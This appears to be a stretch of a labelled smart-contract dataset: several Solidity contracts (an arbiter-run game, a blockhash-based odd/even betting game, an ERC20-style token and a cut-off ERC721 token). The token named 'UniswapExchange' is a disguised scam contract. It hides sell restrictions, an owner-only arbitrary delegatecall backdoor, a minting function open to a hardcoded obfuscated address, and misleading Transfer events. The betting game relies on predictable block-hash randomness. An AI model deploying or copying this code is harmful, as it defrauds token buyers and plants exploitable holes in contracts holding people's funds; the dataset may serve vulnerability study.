if (!tokenPartner.call.gas(tokCallGas).value(ntmpho)()) {
houseFeeHoldover = ntmpho;
StatEvent("House-Fee Error1");
}
}
if (_payout > 0) {
if (!_winner.call.gas(acctCallGas).value(uint(_payout))()) {
houseFeeHoldover += _payout;
StatEventI("Payout Error!", _hGame);
} else {
}
}
}
}
function handleBet(uint _hGame) public payable
{
address _arbAddr = arbiterTokens[ArbTokFromHGame(_hGame)];
if (_arbAddr == address(0)) {
throw;
}
var (valid, pidx) = validPlayer(_hGame, msg.sender);
if (!valid) {
throw;
}
gameInstance xgame = games[_hGame];
xgame.playerPots[pidx] += uint128(msg.value);
xgame.totalPot += uint128(msg.value);
}
function arbTokenExists(uint _tok) constant returns (bool _exists)
{
_exists = false;
if ((_tok > 0)
&& (arbiterTokens[_tok] != address(0))
&& arbiters[arbiterTokens[_tok]].registered)
_exists = true;
}
function getArbInfo(uint _tok) constant returns (address _addr, uint _escFeePctX10, uint _arbFeePctX10, uint _feeCap, uint _holdOver)
{
_addr = arbiterTokens[_tok];
arbiter xarb = arbiters[arbiterTokens[_tok]];
_escFeePctX10 = xarb.escFeePctX10;
_arbFeePctX10 = xarb.arbFeePctX10;
_feeCap = xarb.feeCap;
_holdOver = xarb.arbHoldover;
}
function houseKeep(int _max, uint _arbToken) public
{
uint gi;
address a;
int aborted = 0;
arbiter xarb = arbiters[msg.sender];
if (msg.sender == owner) {
for (uint ar = 0; (ar < numArbiters) && (aborted < _max) ; ar++) {
a = arbiterIndexes[ar];
xarb = arbiters[a];
for ( gi = 0; (gi < xarb.gameSlots) && (aborted < _max); gi++) {
gameInstance ngame0 = games[xarb.gameIndexes[gi]];
if ((ngame0.active)
&& ((now - ngame0.lastMoved) > gameTimeOut)) {
abortGame(xarb.gameIndexes[gi], EndReason.erTimeOut);
++aborted;
}
}
}
} else {
if (!validArb(msg.sender, _arbToken))
StatEvent("Housekeep invalid arbiter");
else {
a = msg.sender;
xarb = arbiters[a];
for (gi = 0; (gi < xarb.gameSlots) && (aborted < _max); gi++) {
gameInstance ngame1 = games[xarb.gameIndexes[gi]];
if ((ngame1.active)
&& ((now - ngame1.lastMoved) > gameTimeOut)) {
abortGame(xarb.gameIndexes[gi], EndReason.erTimeOut);
++aborted;
}
}
}
}
}
function getGameInfo(uint _hGame) constant returns (EndReason _reason, uint _players, uint _totalPot, bool _active)
{
gameInstance xgame = games[_hGame];
_active = xgame.active;
_players = xgame.numPlayers;
_totalPot = xgame.totalPot;
_reason = xgame.reasonEnded;
}
function checkHGame(uint _hGame) constant returns(uint _arbTok, uint _lowWords)
{
_arbTok = ArbTokFromHGame(_hGame);
_lowWords = _hGame & 0xffffffffffff;
}
function getOpGas() constant returns (uint _ag, uint _tg)
{
_ag = acctCallGas;
_tg = tokCallGas;
}
function setOpGas(uint _ag, uint _tg)
{
if (msg.sender != owner)
throw;
acctCallGas = _ag;
tokCallGas = _tg;
}
function setArbiterLocked(address _addr, bool _lock) public
{
if (owner != msg.sender) {
throw;
} else if (!validArb2(_addr)) {
StatEvent("invalid arb");
} else {
arbiters[_addr].locked = _lock;
}
}
function flushHouseFees()
{
if (msg.sender != owner) {
StatEvent("only owner calls this function");
} else if (houseFeeHoldover > 0) {
uint ntmpho = houseFeeHoldover;
houseFeeHoldover = 0;
if (!tokenPartner.call.gas(tokCallGas).value(ntmpho)()) {
houseFeeHoldover = ntmpho;
StatEvent("House-Fee Error2");
} else {
lastPayoutTime = now;
StatEvent("House-Fee Paid");
}
}
}
function withdrawArbFunds() public
{
if (!validArb2(msg.sender)) {
StatEvent("invalid arbiter");
} else {
arbiter xarb = arbiters[msg.sender];
if (xarb.arbHoldover == 0) {
StatEvent("0 Balance");
return;
} else {
uint _amount = xarb.arbHoldover;
xarb.arbHoldover = 0;
if (!msg.sender.call.gas(acctCallGas).value(_amount)())
throw;
}
}
}
function setTokenPartner(address _addr) public
{
if (msg.sender != owner) {
throw;
}
if ((settingsState == SettingStateValue.lockedRelease)
&& (tokenPartner == address(0))) {
tokenPartner = _addr;
StatEvent("Token Partner Final!");
} else if (settingsState != SettingStateValue.lockedRelease) {
tokenPartner = _addr;
StatEvent("Token Partner Assigned!");
}
}
function changeOwner(address _addr)
{
if (msg.sender != owner
|| settingsState == SettingStateValue.lockedRelease)
throw;
owner = _addr;
}
} | 1 | 3,205 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Owned {
address public owner;
event LogNew(address indexed old, address indexed current);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
constructor() public {
owner = msg.sender;
}
function transferOwnership(address _newOwner) onlyOwner public {
emit LogNew(owner, _newOwner);
owner = _newOwner;
}
}
contract IMoneyManager {
function payTo(address _participant, uint256 _revenue) payable public returns(bool);
}
contract Game is Owned {
using SafeMath for uint256;
address public ownerWallet;
mapping(address => bool) internal activator;
uint256 public constant BET = 10 finney;
uint8 public constant ODD = 1;
uint8 public constant EVEN = 2;
uint8 public constant noBets = 3;
uint256 public constant COMMISSION_PERCENTAGE = 10;
uint256 public constant END_DURATION_BETTING_BLOCK = 5520;
uint256 public constant TARGET_DURATION_BETTING_BLOCK = 5760;
uint256 public constant CONTRACT_VERSION = 201805311200;
address public moneyManager;
uint256[] targetBlocks;
mapping(address => Participant) public participants;
mapping(uint256 => mapping(uint256 => uint256)) oddAndEvenBets;
mapping(uint256 => uint256) blockResult;
mapping(uint256 => bytes32) blockHash;
mapping(uint256 => uint256) blockRevenuePerTicket;
mapping(uint256 => bool) isBlockRevenueCalculated;
mapping(uint256 => uint256) comissionsAtBlock;
uint256 public _startBetBlock;
uint256 public _endBetBlock;
uint256 public _targetBlock;
modifier afterBlock(uint256 _blockNumber) {
require(block.number >= _blockNumber);
_;
}
modifier onlyActivator(address _activator) {
require(activator[_activator] == true);
_;
}
struct Participant {
mapping(uint256 => Bet) bets;
bool isParticipated;
}
struct Bet {
uint256 ODDBets;
uint256 EVENBets;
bool isRevenuePaid;
}
constructor(address _moneyManager, address _ownerWallet) public {
setMoneyManager(_moneyManager);
setOwnerWallet(_ownerWallet);
}
function() payable public {
bet(getBlockHashOddOrEven(block.number - 128), msg.value.div(BET));
}
function activateCycle(uint256 _startBlock) public onlyActivator(msg.sender) returns (bool _success) {
if (_startBlock == 0) {
_startBlock = block.number;
}
require(block.number >= _endBetBlock);
_startBetBlock = _startBlock;
_endBetBlock = _startBetBlock.add(END_DURATION_BETTING_BLOCK);
_targetBlock = _startBetBlock.add(TARGET_DURATION_BETTING_BLOCK);
targetBlocks.push(_targetBlock);
return true;
}
event LogBet(address indexed participant, uint256 blockNumber, uint8 oddOrEven, uint256 betAmount);
event LogNewParticipant(address indexed _newParticipant);
function bet(uint8 oddOrEven, uint256 betsAmount) public payable returns (bool _success) {
require(betsAmount > 0);
uint256 participantBet = betsAmount.mul(BET);
require(msg.value == participantBet);
require(oddOrEven == ODD || oddOrEven == EVEN);
require(block.number <= _endBetBlock && block.number >= _startBetBlock);
if (participants[msg.sender].isParticipated == false) {
Participant memory newParticipant;
newParticipant.isParticipated = true;
participants[msg.sender] = newParticipant;
emit LogNewParticipant(msg.sender);
}
uint256 betTillNowODD = participants[msg.sender].bets[_targetBlock].ODDBets;
uint256 betTillNowEVEN = participants[msg.sender].bets[_targetBlock].EVENBets;
if(oddOrEven == ODD) {
betTillNowODD = betTillNowODD.add(participantBet);
} else {
betTillNowEVEN = betTillNowEVEN.add(participantBet);
}
Bet memory newBet = Bet({ODDBets : betTillNowODD, EVENBets: betTillNowEVEN, isRevenuePaid : false});
participants[msg.sender].bets[_targetBlock] = newBet;
oddAndEvenBets[_targetBlock][oddOrEven] = oddAndEvenBets[_targetBlock][oddOrEven].add(msg.value);
address(moneyManager).transfer(msg.value);
emit LogBet(msg.sender, _targetBlock, oddOrEven, msg.value);
return true;
}
function calculateRevenueAtBlock(uint256 _blockNumber) public afterBlock(_blockNumber) {
require(isBlockRevenueCalculated[_blockNumber] == false);
if(oddAndEvenBets[_blockNumber][ODD] > 0 || oddAndEvenBets[_blockNumber][EVEN] > 0) {
blockResult[_blockNumber] = getBlockHashOddOrEven(_blockNumber);
require(blockResult[_blockNumber] == ODD || blockResult[_blockNumber] == EVEN);
if (blockResult[_blockNumber] == ODD) {
calculateRevenue(_blockNumber, ODD, EVEN);
} else if (blockResult[_blockNumber] == EVEN) {
calculateRevenue(_blockNumber, EVEN, ODD);
}
} else {
isBlockRevenueCalculated[_blockNumber] = true;
blockResult[_blockNumber] = noBets;
}
}
event LogOddOrEven(uint256 blockNumber, bytes32 blockHash, uint256 oddOrEven);
function getBlockHashOddOrEven(uint256 _blockNumber) internal returns (uint8 oddOrEven) {
blockHash[_blockNumber] = blockhash(_blockNumber);
uint256 result = uint256(blockHash[_blockNumber]);
uint256 lastChar = (result * 2 ** 252) / (2 ** 252);
uint256 _oddOrEven = lastChar % 2;
emit LogOddOrEven(_blockNumber, blockHash[_blockNumber], _oddOrEven);
if (_oddOrEven == 1) {
return ODD;
} else if (_oddOrEven == 0) {
return EVEN;
}
}
event LogRevenue(uint256 blockNumber, uint256 winner, uint256 revenue);
function calculateRevenue(uint256 _blockNumber, uint256 winner, uint256 loser) internal {
uint256 revenue = oddAndEvenBets[_blockNumber][loser];
if (oddAndEvenBets[_blockNumber][ODD] != 0 && oddAndEvenBets[_blockNumber][EVEN] != 0) {
uint256 comission = (revenue.div(100)).mul(COMMISSION_PERCENTAGE);
revenue = revenue.sub(comission);
comissionsAtBlock[_blockNumber] = comission;
IMoneyManager(moneyManager).payTo(ownerWallet, comission);
uint256 winners = oddAndEvenBets[_blockNumber][winner].div(BET);
blockRevenuePerTicket[_blockNumber] = revenue.div(winners);
}
isBlockRevenueCalculated[_blockNumber] = true;
emit LogRevenue(_blockNumber, winner, revenue);
}
event LogpayToRevenue(address indexed participant, uint256 blockNumber, bool revenuePaid);
function withdrawRevenue(uint256 _blockNumber) public returns (bool _success) {
require(participants[msg.sender].bets[_blockNumber].ODDBets > 0 || participants[msg.sender].bets[_blockNumber].EVENBets > 0);
require(participants[msg.sender].bets[_blockNumber].isRevenuePaid == false);
require(isBlockRevenueCalculated[_blockNumber] == true);
if (oddAndEvenBets[_blockNumber][ODD] == 0 || oddAndEvenBets[_blockNumber][EVEN] == 0) {
if(participants[msg.sender].bets[_blockNumber].ODDBets > 0) {
IMoneyManager(moneyManager).payTo(msg.sender, participants[msg.sender].bets[_blockNumber].ODDBets);
}else{
IMoneyManager(moneyManager).payTo(msg.sender, participants[msg.sender].bets[_blockNumber].EVENBets);
}
participants[msg.sender].bets[_blockNumber].isRevenuePaid = true;
emit LogpayToRevenue(msg.sender, _blockNumber, participants[msg.sender].bets[_blockNumber].isRevenuePaid);
return participants[msg.sender].bets[_blockNumber].isRevenuePaid;
}
uint256 _revenue = 0;
uint256 counter = 0;
uint256 totalPayment = 0;
if (blockResult[_blockNumber] == ODD) {
counter = (participants[msg.sender].bets[_blockNumber].ODDBets).div(BET);
_revenue = _revenue.add(blockRevenuePerTicket[_blockNumber].mul(counter));
} else if (blockResult[_blockNumber] == EVEN) {
counter = (participants[msg.sender].bets[_blockNumber].EVENBets).div(BET);
_revenue = _revenue.add(blockRevenuePerTicket[_blockNumber].mul(counter));
}
totalPayment = _revenue.add(BET.mul(counter));
IMoneyManager(moneyManager).payTo(msg.sender, totalPayment);
participants[msg.sender].bets[_blockNumber].isRevenuePaid = true;
emit LogpayToRevenue(msg.sender, _blockNumber, participants[msg.sender].bets[_blockNumber].isRevenuePaid);
return participants[msg.sender].bets[_blockNumber].isRevenuePaid;
}
function setActivator(address _newActivator) onlyOwner public returns(bool) {
require(activator[_newActivator] == false);
activator[_newActivator] = true;
return activator[_newActivator];
}
function removeActivator(address _Activator) onlyOwner public returns(bool) {
require(activator[_Activator] == true);
activator[_Activator] = false;
return true;
}
function setOwnerWallet(address _newOwnerWallet) public onlyOwner {
emit LogNew(ownerWallet, _newOwnerWallet);
ownerWallet = _newOwnerWallet;
}
function setMoneyManager(address _moneyManager) public onlyOwner {
emit LogNew(moneyManager, _moneyManager);
moneyManager = _moneyManager;
}
function getActivator(address _isActivator) public view returns(bool) {
return activator[_isActivator];
}
function getblock() public view returns (uint256 _blockNumber){
return block.number;
}
function getCycleInfo() public view returns (uint256 startBetBlock, uint256 endBetBlock, uint256 targetBlock){
return (
_startBetBlock,
_endBetBlock,
_targetBlock);
}
function getBlockHash(uint256 _blockNumber) public view returns (bytes32 _blockHash) {
return blockHash[_blockNumber];
}
function getBetAt(address _participant, uint256 _blockNumber) public view returns (uint256 _oddBets, uint256 _evenBets){
return (participants[_participant].bets[_blockNumber].ODDBets, participants[_participant].bets[_blockNumber].EVENBets);
}
function getBlockResult(uint256 _blockNumber) public view returns (uint256 _oddOrEven){
return blockResult[_blockNumber];
}
function getoddAndEvenBets(uint256 _blockNumber, uint256 _blockOddOrEven) public view returns (uint256 _weiAmountAtStage) {
return oddAndEvenBets[_blockNumber][_blockOddOrEven];
}
function getIsParticipate(address _participant, uint256 _blockNumber) public view returns (bool _isParticipate) {
return (participants[_participant].bets[_blockNumber].ODDBets > 0 || participants[_participant].bets[_blockNumber].EVENBets > 0);
}
function getblockRevenuePerTicket(uint256 _blockNumber) public view returns (uint256 _revenue) {
return blockRevenuePerTicket[_blockNumber];
}
function getIsBlockRevenueCalculated(uint256 _blockNumber) public view returns (bool _isCalculated) {
return isBlockRevenueCalculated[_blockNumber];
}
function getIsRevenuePaid(address _participant, uint256 _blockNumber) public view returns (bool _isPaid) {
return participants[_participant].bets[_blockNumber].isRevenuePaid;
}
function getBlockComission(uint256 _blockNumber) public view returns (uint256 _comission) {
return comissionsAtBlock[_blockNumber];
}
function getBetsEvenAndODD(uint256 _blockNumber) public view returns (uint256 _ODDBets, uint256 _EVENBets) {
return (oddAndEvenBets[_blockNumber][ODD], oddAndEvenBets[_blockNumber][EVEN]);
}
function getTargetBlockLength() public view returns (uint256 _targetBlockLenght) {
return targetBlocks.length;
}
function getTargetBlocks() public view returns (uint256[] _targetBlocks) {
return targetBlocks;
}
function getTargetBlock(uint256 _index) public view returns (uint256 _targetBlockNumber) {
return targetBlocks[_index];
}
} | 1 | 3,270 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 4,221 |
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC721Basic {
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId) public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator) public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public;
}
contract ERC721Enumerable is ERC721Basic {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256 _tokenId);
function tokenByIndex(uint256 _index) public view returns (uint256);
}
contract ERC721Metadata is ERC721Basic {
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function tokenURI(uint256 _tokenId) public view returns (string);
}
contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata {
}
contract ERC721Receiver {
bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba;
function onERC721Received(address _from, uint256 _tokenId, bytes _data) public returns(bytes4);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
library AddressUtils {
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract ERC721BasicToken is ERC721Basic {
using SafeMath for uint256;
using AddressUtils for address;
bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba;
mapping (uint256 => address) internal tokenOwner;
mapping (uint256 => address) internal tokenApprovals;
mapping (address => uint256) internal ownedTokensCount;
mapping (address => mapping (address => bool)) internal operatorApprovals;
modifier onlyOwnerOf(uint256 _tokenId) {
require(ownerOf(_tokenId) == msg.sender);
_;
}
modifier canTransfer(uint256 _tokenId) {
require(isApprovedOrOwner(msg.sender, _tokenId));
_;
}
function balanceOf(address _owner) public view returns (uint256) {
require(_owner != address(0));
return ownedTokensCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
function exists(uint256 _tokenId) public view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
function approve(address _to, uint256 _tokenId) public {
address owner = ownerOf(_tokenId);
require(_to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
if (getApproved(_tokenId) != address(0) || _to != address(0)) {
tokenApprovals[_tokenId] = _to;
emit Approval(owner, _to, _tokenId);
}
}
function getApproved(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
function setApprovalForAll(address _to, bool _approved) public {
require(_to != msg.sender);
operatorApprovals[msg.sender][_to] = _approved;
emit ApprovalForAll(msg.sender, _to, _approved);
}
function isApprovedForAll(address _owner, address _operator) public view returns (bool) {
return operatorApprovals[_owner][_operator];
}
function transferFrom(address _from, address _to, uint256 _tokenId) public canTransfer(_tokenId) {
require(_from != address(0));
require(_to != address(0));
clearApproval(_from, _tokenId);
removeTokenFrom(_from, _tokenId);
addTokenTo(_to, _tokenId);
emit Transfer(_from, _to, _tokenId);
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
canTransfer(_tokenId)
{
safeTransferFrom(_from, _to, _tokenId, "");
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public
canTransfer(_tokenId)
{
transferFrom(_from, _to, _tokenId);
require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
function isApprovedOrOwner(address _spender, uint256 _tokenId) internal view returns (bool) {
address owner = ownerOf(_tokenId);
return _spender == owner || getApproved(_tokenId) == _spender || isApprovedForAll(owner, _spender);
}
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addTokenTo(_to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
clearApproval(_owner, _tokenId);
removeTokenFrom(_owner, _tokenId);
emit Transfer(_owner, address(0), _tokenId);
}
function clearApproval(address _owner, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _owner);
if (tokenApprovals[_tokenId] != address(0)) {
tokenApprovals[_tokenId] = address(0);
emit Approval(_owner, address(0), _tokenId);
}
}
function addTokenTo(address _to, uint256 _tokenId) internal {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
ownedTokensCount[_to] = ownedTokensCount[_to].add(1);
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _from);
ownedTokensCount[_from] = ownedTokensCount[_from].sub(1);
tokenOwner[_tokenId] = address(0);
}
function checkAndCallSafeTransfer(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
internal
returns (bool)
{
if (!_to.isContract()) {
return true;
}
bytes4 retval = ERC721Receiver(_to).onERC721Received(_from, _tokenId, _data);
return (retval == ERC721_RECEIVED);
}
}
contract ERC721Token is ERC721, ERC721BasicToken {
string internal name_;
string internal symbol_;
mapping (address => uint256[]) internal ownedTokens;
mapping(uint256 => uint256) internal ownedTokensIndex;
uint256[] internal allTokens;
mapping(uint256 => uint256) internal allTokensIndex;
mapping(uint256 => string) internal tokenURIs;
function ERC721Token(string _name, string _symbol) public {
name_ = _name;
symbol_ = _symbol;
}
function name() public view returns (string) {
return name_;
}
function symbol() public view returns (string) {
return symbol_;
}
function tokenURI(uint256 _tokenId) public view returns (string) {
require(exists(_tokenId));
return tokenURIs[_tokenId];
}
function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256) {
require(_index < balanceOf(_owner));
return ownedTokens[_owner][_index];
}
function totalSupply() public view returns (uint256) {
return allTokens.length;
}
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < totalSupply());
return allTokens[_index];
}
